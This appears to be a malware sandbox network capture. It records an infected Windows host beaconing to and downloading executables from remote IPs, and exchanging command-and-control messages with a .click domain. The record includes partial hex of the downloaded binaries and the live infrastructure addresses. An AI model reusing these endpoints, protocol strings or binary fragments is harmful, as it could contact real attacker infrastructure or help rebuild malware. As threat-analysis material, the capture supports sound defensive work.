Dec 20, 2024 17:43:58.778314114 CET	326	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 38 0d 0a 20 3c 63 3e 31 30 30 30 31 33 30 30 31 30 31 2b 2b 2b 65 33 65 37 36 64 63 34 65 61 33 33 65 34 34 63 33 64 37 63 64 66 30 35 34 39 32 63 36 35 37 35 62 33 34 36 66 39 38 37 66 66 36 37 34 61 64 32 64 61 33 39 35 38 31 31 62 66 63 61 66 63 37 39 31 34 33 31 31 64 66 37 31 31 62 32 38 38 39 32 30 65 39 34 61 35 66 35 61 62 61 62 64 63 37 36 62 64 62 30 31 34 31 63 65 66 37 64 30 62 39 65 32 63 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 88 <c>10001300101+++e3e76dc4ea33e44c3d7cdf05492c6575b346f987ff674ad2da395811bfcafc7914311df711b288920e94a5f5ababdc76bdb0141cef7d0b9e2c#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49824	194.126.174.112	80	7264	C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:44:00.413427114 CET	75	OUT	GET /files/Bawerfools/Autosoundmick.exe HTTP/1.1 Host: 194.126.174.112
Dec 20, 2024 17:44:01.673105001 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:44:01 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sat, 31 Aug 2024 15:19:00 GMT ETag: "134220-620fc3a2ae100" Accept-Ranges: bytes Content-Length: 1262112 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e5 98 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 c6 12 00 00 08 00 00 00 00 00 00 ae e5 12 00 00 20 00 00 00 00 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 13 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e5 12 00 57 00 00 00 00 00 13 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 d0 12 00 20 72 00 00 00 20 13 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeg @ @`TW r H.text `.rsrc@@.reloc @BH\((%~:rp(&o's(~~j(r7p~o)tq(&rCp((+o,&((o-~%:&~s.%(+(.sFo0rWp(1(2BrpsA{"}{"}frp}(B}"(C{%s;on%s?op"(%
Dec 20, 2024 17:44:01.673177004 CET	1236	IN	Data Raw: 73 3b 01 00 06 6f 6f 00 00 06 03 02 25 fe 07 1d 00 00 06 73 3f 01 00 06 6f 71 00 00 06 2a 22 02 03 28 1a 00 00 06 2a 06 2a 36 02 04 6f d3 02 00 06 28 21 00 00 06 2a 36 02 04 6f 0a 03 00 06 28 21 00 00 06 2a 1e 02 28 1e 00 00 06 2a 1e 02 28 47 00 Data Ascii: s;oo%s?oq"(6o(!6o(!((G:(G}{{"}{"}{"}{"}{"}{"}{"}{"}
Dec 20, 2024 17:44:01.673196077 CET	1236	IN	Data Raw: 00 04 02 28 75 00 00 0a 02 28 2d 01 00 06 2a 3e 02 02 03 75 27 00 00 01 04 28 dd 00 00 06 2a 2a 02 02 03 04 28 dd 00 00 06 2a 2a 02 02 03 04 28 dc 00 00 06 2a 32 02 7b 3e 00 00 04 6f 81 00 00 06 2a 36 02 7b 3e 00 00 04 03 6f 82 00 00 06 2a 32 02 Data Ascii: (u(->u'(((2{>o6{>o2{>o2{>o6{>o2{>o6{>o2{>o6{>o2{>o2{>o6{>o2{>o6{>o2
Dec 20, 2024 17:44:01.673444986 CET	1236	IN	Data Raw: 03 04 28 01 01 00 0a 2a 66 02 72 07 10 00 70 03 28 c3 00 00 0a 28 8b 01 00 06 02 03 7d 74 00 00 04 2a 3e 02 04 28 8b 01 00 06 02 03 7d 74 00 00 04 2a 42 02 04 05 28 8c 01 00 06 02 03 7d 74 00 00 04 2a 1e 02 7b 74 00 00 04 2a 1e 02 28 8a 01 00 06 Data Ascii: (frp((}t>(}tB(}t{t("(&(rYp(rp((}u}v{u{vrp{uorp{vo(vrp}wrp}x(G*r
Dec 20, 2024 17:44:01.673460960 CET	1236	IN	Data Raw: 04 02 7b ae 00 00 04 39 0b 00 00 00 02 7b ae 00 00 04 6f 06 00 00 0a 2a 1e 02 28 2f 02 00 06 2a 1e 02 7b af 00 00 04 2a 7a 02 28 25 00 00 0a 02 03 7d b0 00 00 04 02 28 10 01 00 0a 6f 11 01 00 0a 7d b1 00 00 04 2a 7a 02 15 7d b0 00 00 04 02 7b bb Data Ascii: {9{o(/{z(%}(o}z}{9{oz}{9{o(9{z(%}(o}z}{9{o(B{z(%}(
Dec 20, 2024 17:44:01.673476934 CET	1236	IN	Data Raw: 00 0a 02 03 7d 0a 01 00 04 02 04 7d 0b 01 00 04 2a 72 02 28 bd 01 00 0a 02 03 7d 11 01 00 04 02 04 7d 12 01 00 04 02 05 7d 13 01 00 04 2a 1e 02 7b 11 01 00 04 2a 1e 02 7b 12 01 00 04 2a 1e 02 7b 13 01 00 04 2a 1e 02 7b 14 01 00 04 2a 22 02 03 7d Data Ascii: }}r(}}}{{{{"}J(%s7(:(%(2(o'6(o(2(o)6(o*2(o+6(o,2(o-6(o.2(o/6
Dec 20, 2024 17:44:01.673491001 CET	776	IN	Data Raw: 38 12 00 00 00 00 28 06 00 00 06 0a dd 06 00 00 00 26 dd 00 00 00 00 06 2c eb 73 33 00 00 0a 0b 07 72 a3 00 00 70 28 34 00 00 0a 6f 35 00 00 0a 07 72 d5 00 00 70 28 34 00 00 0a 6f 36 00 00 0a 07 6f 37 00 00 0a 06 16 06 8e 69 6f 38 00 00 0a 0a dd Data Ascii: 8(&,s3rp(4o5rp(4o6o7io89o"6X0`~9~o::to;rpo<o=to;rpo<o=to;
Dec 20, 2024 17:44:01.673508883 CET	1236	IN	Data Raw: 06 28 4d 00 00 0a 0c 08 18 73 4e 00 00 0a 0d 04 6f 0a 03 00 06 09 28 7c 00 00 06 09 6f 4f 00 00 0a 2a 13 30 02 00 1d 00 00 00 06 00 00 11 03 73 44 00 00 0a 0a 06 6f 45 00 00 0a 0b 07 28 50 00 00 0a 03 16 6a 6f 46 00 00 0a 2a 00 00 00 13 30 04 00 Data Ascii: (MsNo(\|oO0sDoE(PjoF0+ oQ:oR+0&sSsToUoVjoW&0/sX sYoZ8(PoZ-
Dec 20, 2024 17:44:01.673934937 CET	1236	IN	Data Raw: 00 00 10 00 00 11 02 03 04 05 28 15 01 00 06 0a 02 02 06 05 28 dd 00 00 06 2a 1b 30 07 00 f2 01 00 00 11 00 00 11 02 14 7d 41 00 00 04 02 14 7d 40 00 00 04 14 0a 14 0b 02 03 28 23 01 00 06 0c 02 08 73 77 00 00 0a 6f 2e 01 00 06 0a 02 06 04 05 03 Data Ascii: ((*0}A}@(#swo.{D{E(((((({F:ox%8 sy{?so9DoxjoF(\|
Dec 20, 2024 17:44:01.673952103 CET	1236	IN	Data Raw: 04 00 9c 00 00 00 17 00 00 11 16 8d 04 00 00 01 0a 05 39 3c 00 00 00 05 8e 69 8d 04 00 00 01 0a 16 0b 38 26 00 00 00 05 07 9a 3a 0b 00 00 00 72 2e 05 00 70 73 b6 01 00 06 7a 06 07 05 07 9a 6f 9a 00 00 0a a4 04 00 00 01 07 17 58 0b 07 06 8e 69 32 Data Ascii: 9<i8&:r.pszoXi2oo:;o&rfpsz:rpshzrFp(Isz_l0((0(#sw
Dec 20, 2024 17:44:01.792984962 CET	1236	IN	Data Raw: 00 00 1d 00 00 11 02 6f b6 00 00 06 03 6f a5 00 00 0a 0a 02 6f b4 00 00 06 6f a3 00 00 0a 0b 06 3a 07 00 00 00 17 0c 38 5b 00 00 00 07 16 6a 3e 20 00 00 00 06 6a 07 40 18 00 00 00 02 02 6f b1 00 00 06 73 a6 00 00 0a 6f bb 00 00 06 17 0c 38 33 00 Data Ascii: oooo:8[j> j@oso83o:oisyooooR9o0Kotooo9(:(( *

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49837	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:44:03.731621981 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018695001&unit=246122658369
Dec 20, 2024 17:44:05.146179914 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49843	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:44:05.270092964 CET	61	OUT	GET /files/bckosq/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 17:44:06.601979017 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:44:06 GMT Content-Type: application/octet-stream Content-Length: 810496 Last-Modified: Thu, 19 Dec 2024 19:41:56 GMT Connection: keep-alive ETag: "67647704-c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 fa bb 5e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 66 02 00 00 d4 00 00 00 00 00 00 12 c3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 06 03 00 50 00 00 00 00 70 03 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 cb 02 00 18 00 00 00 f8 8f 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 60 08 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL^g"f@@Ppxx`\|.textmdf `.rdatan@@.data,% @.CODEP `.tls`0@.rsrcp2@@.relocx4@B.bssR@.bss0@
Dec 20, 2024 17:44:06.602118015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:44:06.602133036 CET	1236	IN	Data Raw: 00 8b 45 f0 83 c4 18 5d c2 04 00 cc cc cc cc cc cc cc cc 55 89 e5 83 ec 08 89 4d fc 8b 4d fc 89 4d f8 e8 7c 07 00 00 8b 4d f8 e8 24 08 00 00 83 c4 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 50 8b 45 0c 8b 45 08 8b 45 08 8a 00 Data Ascii: E]UMMM\|M$]UPEEEEEEME]UWVHEE@(C1D$DD$8MD$0D$4M@-M@L$0D$4)
Dec 20, 2024 17:44:06.602446079 CET	1236	IN	Data Raw: 8b 40 04 83 c0 00 01 c1 e8 92 11 00 00 8b 4d c0 88 45 bb 8b 01 8b 40 04 83 c0 00 89 ce 01 c6 8b 01 8b 40 04 83 c0 00 01 c1 e8 d1 10 00 00 8d 4d d0 89 04 24 e8 c6 38 00 00 83 ec 04 8b 4d b4 8a 55 bb 8b 45 bc 8d 5d d8 8d 7d d0 89 1c 24 8b 1f 89 5c Data Ascii: @ME@@M$8MUE]}$\$\|$t$T$D$8M8EEM@E1$D$MM1mxE\^_[]UEEMMM
Dec 20, 2024 17:44:06.602458954 CET	896	IN	Data Raw: 8b 45 0c 8b 4d 08 89 0c 24 89 44 24 04 e8 14 74 00 00 8b 4d fc 31 e9 e8 49 74 00 00 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 10 8b 45 0c 8b 45 08 8b 45 0c 8b 08 83 c1 23 89 08 8b 45 08 8b 00 89 45 fc 8b 45 fc 8b 40 fc 89 45 f8 Data Ascii: EM$D$tM1It]UEEE#EEE@EEE+EE}}# ME]UE]UPMM]UMMMME
Dec 20, 2024 17:44:06.602473021 CET	1236	IN	Data Raw: e8 e8 75 fb ff ff 89 04 24 e8 ed 01 00 00 89 45 f8 c7 45 f4 10 00 00 00 8d 4d f8 8d 45 f4 89 0c 24 89 44 24 04 e8 e1 01 00 00 8b 00 89 45 e4 8b 45 e4 83 e8 01 89 45 f0 e8 4e 02 00 00 89 45 ec 8d 4d ec 8d 45 f0 89 0c 24 89 44 24 04 e8 f9 01 00 00 Data Ascii: u$EEME$D$EEENEME$D$EM1pE(]UPB$cyUPEEME]UEEEUME$L$D$eE]UE
Dec 20, 2024 17:44:06.602487087 CET	1236	IN	Data Raw: 89 08 83 c4 0c 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 14 8b 45 08 89 4d fc 8b 45 fc 89 45 f8 8d 0d 38 81 42 00 89 08 83 c0 04 31 c9 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 08 00 00 00 e8 99 c3 00 00 8b 45 f8 83 Data Ascii: ]UEMEE8B1$D$D$EM$D$XE]UPMM]UEMMME$D$EB]UEMMMMEE
Dec 20, 2024 17:44:06.602499008 CET	448	IN	Data Raw: 8b 75 08 8b 01 8b 40 24 89 e2 89 5a 08 89 7a 04 89 32 ff d0 8d 65 f4 5e 5f 5b 5d c2 0c 00 cc cc cc cc cc 55 89 e5 83 e4 f8 83 ec 18 8b 55 08 8b 45 0c 89 54 24 10 89 44 24 14 89 4c 24 0c 8b 44 24 0c f2 0f 10 40 20 f2 0f 11 04 24 f2 0f 10 44 24 10 Data Ascii: u@$Zz2e^_[]UUET$D$L$D$@ $D$@ $T$]UEU$EMMMEEMEU$$D$o]UMEEC4$EEE!
Dec 20, 2024 17:44:06.602973938 CET	1236	IN	Data Raw: ec 00 0f 84 74 00 00 00 8b 45 e4 8d 4d f4 89 04 24 e8 1d fc ff ff 83 ec 04 8d 4d f4 e8 c2 fc ff ff a8 01 0f 85 05 00 00 00 e9 46 00 00 00 c7 45 e8 00 00 00 00 8b 4d ec e8 76 00 00 00 83 f8 ff 0f 85 09 00 00 00 8b 45 e8 83 c8 04 89 45 e8 8b 4d e4 Data Ascii: tEM$MFEMvEEM@E1$D$BMM1dE$]UPME@]UPMMP4]UMEE@ 8E@
Dec 20, 2024 17:44:06.602988005 CET	1236	IN	Data Raw: 89 e5 50 a1 84 35 43 00 8b 15 a8 35 43 00 64 8b 0d 2c 00 00 00 8b 0c 91 8b 89 04 00 00 00 39 c8 0f 8e 37 00 00 00 8d 05 84 35 43 00 89 04 24 e8 83 60 00 00 83 3d 84 35 43 00 ff 0f 85 1c 00 00 00 8d 05 70 2e 40 00 89 04 24 e8 1d 61 00 00 8d 05 84 Data Ascii: P5C5Cd,975C$`=5Cp.@$a5C$`p&C]Up&Cr]UEMMMMEEPEE$_E]UPMB]U
Dec 20, 2024 17:44:06.721721888 CET	1236	IN	Data Raw: 00 31 ee 89 75 f8 89 55 d8 89 45 dc 89 4d d4 8b 45 d4 89 45 d0 89 e0 89 45 cc 50 83 ec 20 89 e1 89 4d c8 83 c1 0c 8b 45 10 83 ec 04 89 04 24 e8 67 01 00 00 8b 45 c8 8b 4d d8 89 48 04 8b 4d dc 89 48 08 8d 4d e0 89 08 e8 9e 00 00 00 8b 4d d0 83 c4 Data Ascii: 1uUEMEEEP ME$gEMHMHMM$EE$MmEBMHMHM1F[Ee^]UEMMMMEEEE$ZE]U4M

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49733	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:27 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-20 16:43:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:43:27 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00p26tuv618ol1mlsva95vejh1; expires=Tue, 15 Apr 2025 10:30:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxjo786fUiktS3fytnIx6D8Tx%2FmjIzfxkmFApu3OtqVzoZRLQRkwYXj%2FJYtrgz6M%2BZjKZzQR%2FFZTLyQe5HR6yMZRtamd8qMR%2FCGBsIMfnmGQfvaJ9kqPrJE%2BilLqageLRzr1gQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117675ed17d14-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1915&min_rtt=1821&rtt_var=872&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1133100&cwnd=245&unsent_bytes=0&cid=a78362bebaa0f78f&ts=768&x=0"
2024-12-20 16:43:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:43:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49735	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lossekniyyt.click
2024-12-20 16:43:29 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
2024-12-20 16:43:29 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fdbrguhoe033b68jloovkftpaj; expires=Tue, 15 Apr 2025 10:30:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m5fbKJJWz1362jCtvHZf4NgGAPo43txAHx4PSvZwKpX9XaKBLxulGGpepyOks5BOoSbFNF8r8fL96RMbsm%2F%2FDrnlvWV%2Fc6545gMp8x6oSUDyJW8lOWx%2FLFwN2veLxl0yo1d31A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51177428f78c30-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1955&rtt_var=738&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=943&delivery_rate=1479229&cwnd=215&unsent_bytes=0&cid=5c75f475e505cec5&ts=828&x=0"
2024-12-20 16:43:29 UTC	238	IN	Data Raw: 34 36 38 0d 0a 34 6b 37 65 56 44 48 63 5a 2b 59 61 70 34 34 76 67 6c 6a 37 45 66 36 4b 49 50 4e 64 39 46 79 2b 32 79 55 54 62 70 75 69 34 79 43 5a 62 4b 68 32 43 2b 68 4c 78 47 6e 43 72 42 58 32 4b 6f 35 30 30 71 68 42 6c 33 2f 4f 4f 74 2b 33 56 6e 5a 43 75 64 53 4f 41 74 67 6f 76 7a 68 43 75 55 76 45 66 39 2b 73 46 64 6b 6a 32 58 53 51 71 42 72 52 4f 4a 34 2b 33 37 64 48 63 67 58 30 30 6f 39 44 69 69 4b 35 50 46 53 2f 41 34 64 32 79 75 74 4b 35 7a 6d 52 66 35 66 6e 53 4a 35 2f 32 48 37 62 6f 51 63 70 54 4e 62 48 6c 30 47 76 4c 36 30 2f 45 36 46 4c 6e 54 6a 43 34 41 32 34 65 70 70 30 6e 4f 5a 47 6c 7a 61 63 4e 4e 61 2f 52 6e 63 45 36 38 75 46 53 49 6f 73 75 6a 31 65 74 68 65 4b 66 4d 33 67 54 4f 30 35 32 Data Ascii: 4684k7eVDHcZ+Yap44vglj7Ef6KIPNd9Fy+2yUTbpui4yCZbKh2C+hLxGnCrBX2Ko500qhBl3/OOt+3VnZCudSOAtgovzhCuUvEf9+sFdkj2XSQqBrROJ4+37dHcgX00o9DiiK5PFS/A4d2yutK5zmRf5fnSJ5/2H7boQcpTNbHl0GvL60/E6FLnTjC4A24epp0nOZGlzacNNa/RncE68uFSIosuj1etheKfM3gTO052
2024-12-20 16:43:29 UTC	897	IN	Data Raw: 54 33 63 37 31 72 52 5a 39 5a 74 37 72 70 57 59 42 6e 30 30 49 63 43 6e 32 4b 6c 64 6c 53 79 52 64 77 34 7a 65 42 44 35 54 6d 57 64 4a 33 6f 55 4a 34 2f 6c 54 62 55 76 55 31 2b 41 2f 62 4f 69 30 57 49 4a 62 73 35 56 4c 59 44 69 33 75 46 6f 67 33 6e 49 74 6b 72 33 4d 68 53 6b 6a 79 43 4d 38 33 35 57 44 38 56 75 63 65 4e 41 74 68 73 75 6a 68 53 73 77 57 57 63 4d 37 6e 53 50 49 78 6b 48 36 52 36 45 2b 62 4d 4a 55 2b 32 37 4e 4e 66 67 62 39 7a 59 78 45 67 43 7a 38 65 42 4f 35 48 63 51 67 68 63 39 49 38 44 32 56 5a 64 37 53 41 6f 35 78 6a 33 37 62 74 51 63 70 54 50 48 46 67 6b 47 4c 49 37 38 2b 57 4b 77 46 6c 6e 37 49 36 56 2f 6d 50 35 64 35 6e 2f 70 49 6e 7a 6d 56 4e 39 65 77 51 6e 59 49 75 59 37 42 52 5a 68 73 35 48 5a 79 73 77 36 49 63 74 4c 73 44 66 39 30 Data Ascii: T3c71rRZ9Zt7rpWYBn00IcCn2KldlSyRdw4zeBD5TmWdJ3oUJ4/lTbUvU1+A/bOi0WIJbs5VLYDi3uFog3nItkr3MhSkjyCM835WD8VuceNAthsujhSswWWcM7nSPIxkH6R6E+bMJU+27NNfgb9zYxEgCz8eBO5HcQghc9I8D2VZd7SAo5xj37btQcpTPHFgkGLI78+WKwFln7I6V/mP5d5n/pInzmVN9ewQnYIuY7BRZhs5HZysw6IctLsDf90
2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 34 34 62 34 0d 0a 72 48 43 53 35 6b 57 48 66 34 6c 77 78 66 6c 41 66 55 79 68 67 49 35 4e 6a 79 53 38 4e 31 65 7a 41 59 56 31 79 65 56 4f 37 44 61 52 66 70 44 73 54 5a 6b 33 6c 54 62 4f 74 30 6c 33 43 76 6e 46 77 51 7a 41 4b 36 52 32 43 2f 34 68 69 6d 2f 52 35 77 2f 56 4f 5a 64 39 6d 2f 34 43 6a 6e 47 50 66 74 75 31 42 79 6c 4d 39 38 32 4b 54 6f 63 6c 76 54 56 54 74 41 75 4c 63 73 33 6b 54 65 30 37 6b 6e 75 61 35 55 6d 65 4d 4a 45 32 33 37 56 43 66 41 2b 35 6a 73 46 46 6d 47 7a 6b 64 6e 61 77 42 70 56 70 68 39 6c 4f 37 6a 53 65 5a 64 7a 33 44 49 68 2f 6b 54 4b 63 34 51 64 37 43 2f 37 45 6a 45 69 44 4b 4c 67 37 58 4c 63 4d 6a 57 72 50 34 45 50 79 4e 35 4e 32 6b 75 52 48 6e 6a 2b 58 50 39 4b 7a 54 44 46 43 75 63 65 5a 41 74 68 73 6b 7a 74 44 72 41 2b 50 61 Data Ascii: 44b4rHCS5kWHf4lwxflAfUyhgI5NjyS8N1ezAYV1yeVO7DaRfpDsTZk3lTbOt0l3CvnFwQzAK6R2C/4him/R5w/VOZd9m/4CjnGPftu1BylM982KToclvTVTtAuLcs3kTe07knua5UmeMJE237VCfA+5jsFFmGzkdnawBpVph9lO7jSeZdz3DIh/kTKc4Qd7C/7EjEiDKLg7XLcMjWrP4EPyN5N2kuRHnj+XP9KzTDFCuceZAthskztDrA+Pa
2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 6e 49 74 6b 72 33 4d 64 42 68 7a 58 57 49 5a 4b 67 42 33 59 41 75 5a 6a 42 53 49 77 6f 76 7a 70 61 73 67 69 46 66 4d 4c 68 53 65 41 38 6e 33 61 64 34 30 71 64 4d 4a 77 79 32 4c 56 4f 64 77 44 36 77 34 63 43 7a 6d 79 37 4c 68 50 6d 52 61 56 31 7a 75 42 4e 34 79 75 65 4d 39 4b 6f 54 4a 63 2f 31 6d 62 4b 71 56 42 32 45 37 66 5a 77 55 57 4d 62 4f 52 32 57 61 77 41 69 6e 7a 50 36 55 6e 73 4d 4a 6c 32 6a 75 42 45 6c 6a 4f 65 4f 39 4f 2f 51 6e 77 4c 38 73 4f 54 55 49 4d 6f 73 6a 6f 54 38 45 57 44 59 49 57 30 44 63 55 74 6d 6d 4f 61 36 77 4b 4f 63 59 39 2b 32 37 55 48 4b 55 7a 35 7a 6f 31 4a 68 79 65 33 4d 6c 65 2b 43 49 39 32 79 2b 56 42 36 44 61 65 59 5a 48 74 53 70 73 32 6b 7a 4c 52 75 6c 56 79 44 62 6d 4f 77 55 57 59 62 4f 52 32 64 49 30 79 70 7a 6a 61 6f 6c Data Ascii: nItkr3MdBhzXWIZKgB3YAuZjBSIwovzpasgiFfMLhSeA8n3ad40qdMJwy2LVOdwD6w4cCzmy7LhPmRaV1zuBN4yueM9KoTJc/1mbKqVB2E7fZwUWMbOR2WawAinzP6UnsMJl2juBEljOeO9O/QnwL8sOTUIMosjoT8EWDYIW0DcUtmmOa6wKOcY9+27UHKUz5zo1Jhye3Mle+CI92y+VB6DaeYZHtSps2kzLRulVyDbmOwUWYbOR2dI0ypzjaol
